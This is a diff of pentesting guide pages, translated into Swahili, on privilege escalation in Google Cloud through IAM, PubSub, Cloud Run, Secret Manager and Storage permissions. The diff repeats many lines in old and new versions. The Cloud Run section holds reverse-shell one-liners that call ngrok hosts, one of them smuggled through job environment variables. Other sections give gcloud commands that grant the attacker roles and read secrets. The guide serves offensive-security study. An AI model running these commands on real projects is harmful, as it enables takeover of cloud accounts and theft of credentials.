Kumbuka kwamba kulingana na [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegation ya `gcloud` inafanya kazi tu kuzalisha token kwa kutumia [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method. Hivyo hapa una jinsi ya kupata token kwa kutumia API moja kwa moja:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -70,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
Unaweza kupata script ili kuendesha awtomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) na python script ya kuudhulumu ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Kwa taarifa zaidi angalia [**tafiti ya awali**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata script ya kuendesha kiotomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) na script ya python ya kutumia haki hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Kwa taarifa zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kusaini arbitrary payloads katika GCP**. Hivyo itakuwa inawezekana **kuunda JWT isiyosainiwa ya SA kisha kuituma kama blob ili kupata JWT ilisainiwa** na SA tunayolenga. Kwa taarifa zaidi [**soma hili**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kuweka saini payload yoyote katika GCP**. Hivyo itakuwa inawezekana **kuunda unsigned JWT ya SA kisha kuituma kama blob ili kupata JWT isiyosainiwa ikasainiwa** na SA tunayolenga. Kwa taarifa zaidi [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Unaweza kupata script ili kuendesha awtomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) na python script ya kuudhulumu ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) na [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Kwa taarifa zaidi angalia [**tafiti ya awali**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata script ya kuendesha kiotomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) na script ya python ya kutumia haki hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) na [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Kwa taarifa zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kusaini well-formed JSON web tokens (JWTs)**. Tofauti na njia ya awali ni kwamba **badala ya kuifanya google kusaini blob iliyo na JWT, tunatumia method ya signJWT ambayo tayari inatarajia JWT**. Hii inafanya matumizi yake kuwa rahisi zaidi lakini unaweza kusaini tu JWT badala ya bytes yoyote.
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kusaini JSON web tokens (JWTs) zenye muundo mzuri**. Tofauti na mbinu ya awali ni kwamba **badala ya kuifanya google aisaini blob inayobeba JWT, tunatumia method signJWT ambayo tayari inatarajia JWT**. Hii inafanya iwe rahisi kutumia lakini unaweza kusaini JWT tu badala ya bytes yoyote.
Unaweza kupata script ili kuendesha awtomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) na python script ya kuudhulumu ruhusa hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Kwa taarifa zaidi angalia [**tafiti ya awali**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata script ya kuendesha kiotomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) na script ya python ya kutumia haki hii [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Kwa taarifa zaidi angalia [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kuongeza sera za IAM kwa service accounts**. Unaweza kuibadilisha ili **kujipa** ruhusa unazo hitaji kuiga service account. Katika mfano ufuatao tunajiweka jukumu la `roles/iam.serviceAccountTokenCreator` juu ya SA inayoonekana kuwa ya kuvutia:
<details><summary>Ongeza binding ya sera za IAM kwa service account</summary>
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kuongeza IAM policies kwa service accounts**. Unaweza kutumia hili **kujipa** ruhusa unazohitaji kuiga service account. Katika mfano ufuatao tunajiipa `roles/iam.serviceAccountTokenCreator` role juu ya SA yenye kuvutia:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -101,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
Unaweza kupata script ili kuendesha [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
Unaweza kupata script ya ku-automate [**kuunda, exploit, na kusafisha mazingira ya vuln hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
Ruhusa ya **iam.serviceAccounts.actAs** ni kama ruhusa ya **iam:PassRole permission from AWS**. Ni muhimu kwa kutekeleza kazi, kama kuanzisha instance ya Compute Engine, kwa sababu inatoa uwezo wa "actAs" Service Account, na hivyo kuhakikisha usimamizi salama wa ruhusa. Bila hii, watumiaji wanaweza kupata upatikanaji usiofaa. Zaidi ya hayo, kuchafua au kutumia **iam.serviceAccounts.actAs** kunahusisha mbinu mbalimbali, kila moja ikihitaji seti ya ruhusa, tofauti na mbinu nyingine zinazohitaji moja tu.
Ruhusa ya **iam.serviceAccounts.actAs** ni kama ruhusa ya **iam:PassRole permission from AWS**. Ni muhimu kwa kutekeleza kazi, kama kuanzisha instance ya Compute Engine, kwa sababu inatoa uwezo wa "actAs" Service Account, na hivyo kuhakikisha usimamizi salama wa ruhusa. Bila hili, watumiaji wanaweza kupata ufikiaji usiofaa. Zaidi ya hayo, kutumia **iam.serviceAccounts.actAs** kunahusisha mbinu mbalimbali, kila moja ikihitaji seti ya ruhusa, tofauti na mbinu nyingine zinazohitaji moja tu.
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Kuiga service account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Kuiga Service Account inaweza kuwa muhimu sana ili **kupata ruhusa mpya na bora**. Kuna njia tatu unaweza [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
Kuiga service account kunaweza kuwa muhimu sana kupata **ruhusa mpya na bora zaidi**. Kuna njia tatu ambazo unaweza [kuiga service account nyingine](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Uthibitishaji **using RSA private keys** (imeelezewa hapo juu)
- Uhalalishaji **using Cloud IAM policies** (imeelezewa hapa)
- **Deploying jobs on GCP services** (inayoendana zaidi na kuathiriwa kwa user account)
- Authentication kwa kutumia RSA private keys (imeelezwa hapo juu)
- Authorization kwa kutumia Cloud IAM policies (imeelezwa hapa)
- Deploying jobs on GCP services (inatumika zaidi katika kuiba account ya mtumiaji)
### `iam.serviceAccounts.getOpenIdToken`
Mshambulizi mwenye ruhusa zilizotajwa ataweza kuunda OpenID JWT. Hizi hutumika kuthibitisha utambulisho na si lazima ziwe na mamlaka ya moja kwa moja dhidi ya rasilimali.
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuzalisha OpenID JWT. Hizi hutumika kuthibitisha utambulisho na si lazima ziwe na idhini yoyote ya moja kwa moja dhidi ya rasilimali.
Kulingana na chapisho hiki [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), ni lazima uainishe audience (huduma ambapo unataka kutumia token kuthibitisha) na utapokea JWT iliyotiwa saini na google ikionyesha service account na audience ya JWT.
Kulingana na [**makala hii ya kuvutia**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), ni lazima ueleze audience (service ambapo unataka kutumia token kuthibitisha) na utapokea JWT iliyosainiwa na google ikionyesha service account na audience ya JWT.
Unaweza kuzalisha OpenIDToken (kama una access) kwa:
<details><summary>Generate OpenID token for service account</summary>
Unaweza kuzalisha OpenIDToken (ikiwa una access) kwa:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
Kisha unaweza tu kuitumia kufikia huduma kwa:
<details><summary>Tumia token ya OpenID kuthibitisha</summary>
Kisha unaweza kuitumia tu kufikia huduma kwa:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
Baadhi ya huduma zinazounga mkono uthibitishaji kupitia tokens za aina hii ni:
Huduma kadhaa zinazounga mkono authentication kupitia aina hii ya tokens ni:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (ikiwa unatumia Google OIDC)
Unaweza kupata mfano wa jinsi ya kuunda OpenID token kwa niaba ya akaunti ya huduma [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
Unaweza kupata mfano wa jinsi ya kuunda OpenID token kwa niaba ya service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## References
## Marejeo
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md
+43 -10
View File
@@ -4,34 +4,67 @@
## PubSub
Pata maelezo zaidi katika:
Pata habari zaidi katika:
{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
Snapshots za mada **zina ujumbe wa sasa ambao haujakubaliwa na kila ujumbe baada yake**. Unaweza kuunda snapshot ya mada ili **kupata ujumbe wote**, **ukiepuka kufikia mada moja kwa moja**.
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
Snapshots za topics **zinajumuisha ujumbe wa sasa ambao ni unACKed na kila ujumbe uliofuata**. Unaweza kuunda snapshot ya topic ili **kupata ujumbe yote**, **kukwepa kufikia topic moja kwa moja**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
Patia ruhusa za awali kwako.
Jipatie ruhusa zilizotangulia.
### `pubsub.subscriptions.create`
Unaweza kuunda usajili wa push katika mada ambayo itakuwa ikituma ujumbe wote waliopokelewa kwenye URL iliyoonyeshwa.
Unaweza kuunda push subscription katika topic ambayo itatuma messages zote zinazopokelewa kwa URL iliyotajwa
### **`pubsub.subscriptions.update`**
Weka URL yako mwenyewe kama mwisho wa push ili kuiba ujumbe.
Weka URL yako mwenyewe kama push endpoint ili kuiba messages.
### `pubsub.subscriptions.consume`
Fikia ujumbe kwa kutumia usajili.
Pata messages kwa kutumia subscription.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
Jipe ruhusa yoyote kati ya ruhusa za awali.
Jipe ruhusa zozote za awali
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
+41 -29
View File
@@ -4,7 +4,7 @@
## Cloud Run
Kwa habari zaidi kuhusu Cloud Run angalia:
Kwa taarifa zaidi kuhusu Cloud Run angalia:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,18 +12,15 @@ Kwa habari zaidi kuhusu Cloud Run angalia:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Mshambulizi mwenye ruhusa hizi anaweza **create a run service running arbitrary code** (arbitrary Docker container), kuambatisha Service Account kwa hiyo, na kufanya code **exfiltrate the Service Account token from the metadata**.
Mshambuliaji mwenye ruhusa hizi anaweza **create a run service running arbitrary code** (arbitrary Docker container), kuambatanisha Service Account kwa huduma hiyo, na kufanya code **exfiltrate the Service Account token from the metadata**.
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Exploit script kwa njia hii inaweza kupatikana [hapa](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) na Docker image inaweza kupatikana [hapa](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
Kumbuka kwamba ukitumia `gcloud run deploy` badala ya kuunda tu service **it needs the `update` permission**. Angalia [**mfano hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Kama ile iliyotangulia lakini inasasisha service:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
Jipe ruhusa za awali juu ya cloud Run.
Jipatie ruhusa za awali juu ya cloud Run.
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Anzisha job yenye reverse shell ili kuiba service account iliyotajwa katika amri. You can find an [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Unda Cloud Run job yenye reverse shell</summary>
Anzisha job yenye reverse shell ili kuiba service account iliyoonyeshwa katika amri. Unaweza kupata [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Sawa na ile iliyotangulia, inawezekana **kusasisha job na kubadilisha SA**, **amri** na **kuitekeleza**:
<details>
<summary>Update Cloud Run job and execute with reverse shell</summary>
Kama ilivyo kwa ile ya awali, inawezekana **update a job and update the SA**, kisha **send the command** na **execute it**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
Jipatie ruhusa zilizotangulia kwa Cloud Jobs.
Jipe ruhusa zilizotajwa hapo awali kwa Cloud Jobs.
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Tumia vibaya env variables za job execution ili kutekeleza arbitrary code na kupata reverse shell ili dump maudhui ya container (source code) na kufikia SA ndani ya metadata:
<details>
<summary>Tekeleza job ya Cloud Run kwa environment variable exploitation</summary>
Dhulumu env variables za job execution ili execute arbitrary code na kupata reverse shell ili dump maudhui ya container (source code) na kufikia SA ndani ya metadata:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## Marejeo
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
+11 -5
View File
@@ -12,16 +12,16 @@ Kwa taarifa zaidi kuhusu secretmanager:
### `secretmanager.versions.access`
Hii inakupa ufikiaji wa kusoma secrets kutoka secretmanager na inaweza kusaidia kuendesha privesc (kulingana na taarifa zilizohifadhiwa ndani ya secret):
Hii inakupa ufikiaji wa kusoma secrets kutoka secret manager na inaweza kusaidia kupata ruhusa zaidi (kutegemea ni taarifa gani zimehifadhiwa ndani ya secret):
<details><summary>Pata toleo la secret la clear-text</summary>
<details><summary>Pata toleo la secret kwa maandishi wazi</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
Kwa kuwa hii pia ni mbinu ya post exploitation, inaweza kupatikana katika:
Kwa kuwa hii pia ni mbinu ya post exploitation inaweza kupatikana katika:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,14 +29,20 @@ Kwa kuwa hii pia ni mbinu ya post exploitation, inaweza kupatikana katika:
### `secretmanager.secrets.setIamPolicy`
Hii inakupa ufikiaji wa kusoma secrets kutoka secret manager, kwa mfano kwa kutumia:
Hii inakupa uwezo wa kusoma secrets kutoka secret manager, kwa kutumia:
<details><summary>Ongeza IAM policy binding kwenye secret</summary>
<details><summary>Add IAM policy binding to secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
Au ondoa sera kwa:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
+85 -33
View File
@@ -1,10 +1,10 @@
# GCP - Storage Privesc
# GCP - Hifadhi Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Storage
## Hifadhi
Basic Information:
Taarifa za Msingi:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@ Basic Information:
### `storage.objects.get`
Ruhusa hii inakuwezesha **kupakua faili zilizohifadhiwa ndani ya Cloud Storage**. Hii inaweza kukuwezesha kuinua ruhusa kwa sababu katika matukio kadhaa **taarifa nyeti zinahifadhiwa hapo**. Zaidi ya hayo, baadhi ya huduma za GCP huhifadhi taarifa zao kwenye buckets:
Ruhusa hii inakuwezesha **kupakua faili zilizohifadhiwa ndani ya Cloud Storage**. Hii inaweza kukuruhusu kupandisha ruhusa kwa sababu wakati mwingine **taarifa nyeti zimehifadhiwa huko**. Zaidi ya hayo, baadhi ya huduma za GCP huhifadhi taarifa zao ndani ya buckets:
- **GCP Composer**: Unapotengeneza Composer Environment, **msimbo wa DAGs zote** utawekwa ndani ya **bucket**. Majukumu haya yanaweza kuwa na taarifa za kuvutia ndani ya msimbo wao.
- **GCR (Container Registry)**: **image** za containers huhifadhiwa ndani ya **buckets**, ambayo inamaanisha kwamba ukisoma buckets utaweza kupakua images na **kutafuta leaks na/au source code**.
- **GCP Composer**: Unapounda Composer Environment, **msimbo wa DAG zote** utahifadhiwa ndani ya **bucket**. DAG hizi zinaweza kuwa na taarifa za kuvutia ndani ya misimbo yao.
- **GCR (Container Registry)**: **Image** za containers zinahifadhiwa ndani ya **buckets**, ambayo ina maana kwamba ikiwa unaweza kusoma buckets hizo utaweza kupakua images na **kutafuta leaks na/au msimbo wa chanzo**.
### `storage.objects.setIamPolicy`
Hii inaweza kukuruhusu **kutumia vibaya mojawapo ya matukio yaliyotajwa hapo juu katika sehemu hii**.
Hii inaweza kukupa ruhusa ya **kutitumia vibaya mojawapo ya matukio ya hapo juu**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
Kwa mfano jinsi ya kubadilisha ruhusa kwa kutumia ruhusa hii angalia ukurasa huu:
Kwa mfano wa jinsi ya kubadili ruhusa kwa kutumia ruhusa hii angalia ukurasa huu:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
Feature ya "interoperability" ya Cloud Storage, iliyobuniwa kwa ajili ya **maingiliano kati ya cloud (cross-cloud interactions)** kama ile na AWS S3, inahusisha **utengenezaji wa HMAC keys kwa Service Accounts na users**. Mshambuliaji anaweza kutumia hili kwa **kuzalisha HMAC key kwa Service Account yenye ruhusa zilizoimarishwa**, hivyo **kuinua ruhusa ndani ya Cloud Storage**. Wakati HMAC keys zinazohusishwa na users zinaweza kupatikana tu kupitia web console, zote access na secret keys zinabaki **kupatikana daima**, kuruhusu uhifadhi wa ziada kwa ajili ya ufikiaji. Kinyume chake, HMAC keys zinazounganishwa na Service Accounts zinaweza kupatikana kupitia API, lakini access na secret keys hazipatikani baada ya kuundwa, jambo ambalo linaongeza ugumu kwa upatikanaji wa muda mrefu.
<details><summary>Tengeneza na tumia HMAC key kwa ajili ya kuinua ruhusa</summary>
Sifa ya "interoperability" ya Cloud Storage, iliyobuniwa kwa ajili ya **maingiliano kati ya cloud** kama AWS S3, inahusisha **utengenezaji wa HMAC keys kwa Service Accounts na watumiaji**. Mshambuliaji anaweza kutumia hili kwa **kuunda HMAC key kwa Service Account yenye vibali vilivyoongezwa**, kwa hivyo **kuongeza hadhi ndani ya Cloud Storage**. Wakati HMAC keys zinazohusishwa na watumiaji zinaweza kupatikana tu kupitia web console, vifunguo vya access na secret vinabaki **kupatikana daima**, hivyo kuruhusu kuhifadhi ufikiaji kama chelezo. Kwa upande mwingine, HMAC keys zinazounganishwa na Service Account zinapatikana kupitia API, lakini vifunguo vya access na secret havipatikani baada ya kuundwa, ikiongeza ngazi ya ugumu kwa ajili ya ufikiaji wa kudumu.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,56 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
Script nyingine ya exploit kwa njia hii inaweza kupatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Script nyingine ya exploit kwa njia hii inapatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Idhini za Kuandika za Storage
Ili **kuunda object mpya** ndani ya bucket unahitaji `storage.objects.create` na, kwa mujibu wa [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), unahitaji pia `storage.objects.delete` ili **modify** object iliyopo.
Ili **kuunda kitu kipya** ndani ya bucket unahitaji `storage.objects.create` na, kulingana na [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), unahitaji pia `storage.objects.delete` ili **kuhariri** kitu kilicho tayari.
Mfano wa sana wa **common exploitation** wa buckets ambapo unaweza kuandika kwenye cloud ni pale ambapo **bucket inahifadhi faili za web server**; unaweza kuwa na uwezo wa **store new code** ambayo itatumika na web application.
Utekelezaji wa kawaida wa udhaifu kwenye buckets unapo kuwa na uwezo wa kuandika ni pale ambapo **bucket inahifadhi faili za web server**; unaweza kuwa na uwezo wa **kuweka code mpya** ambayo itatumika na web application.
### Composer
**Composer** ni **Apache Airflow** inayosimamiwa ndani ya GCP. Ina sifa kadhaa za kuvutia:
- Inaendesha ndani ya **GKE cluster**, hivyo **SA the cluster uses is accessible** na code inayotekelezwa ndani ya Composer.
- Sehemu zote za mazingira ya composer (**code of DAGs**, plugins na data) zimehifadhiwa ndani ya GCP bucket. Ikiwa attacker ana read na write permissions juu yake, anaweza monitor bucket na **whenever a DAG is created or updated, submit a backdoored version** ili environment ya composer ipoke toleo la backdoored kutoka kwenye storage.
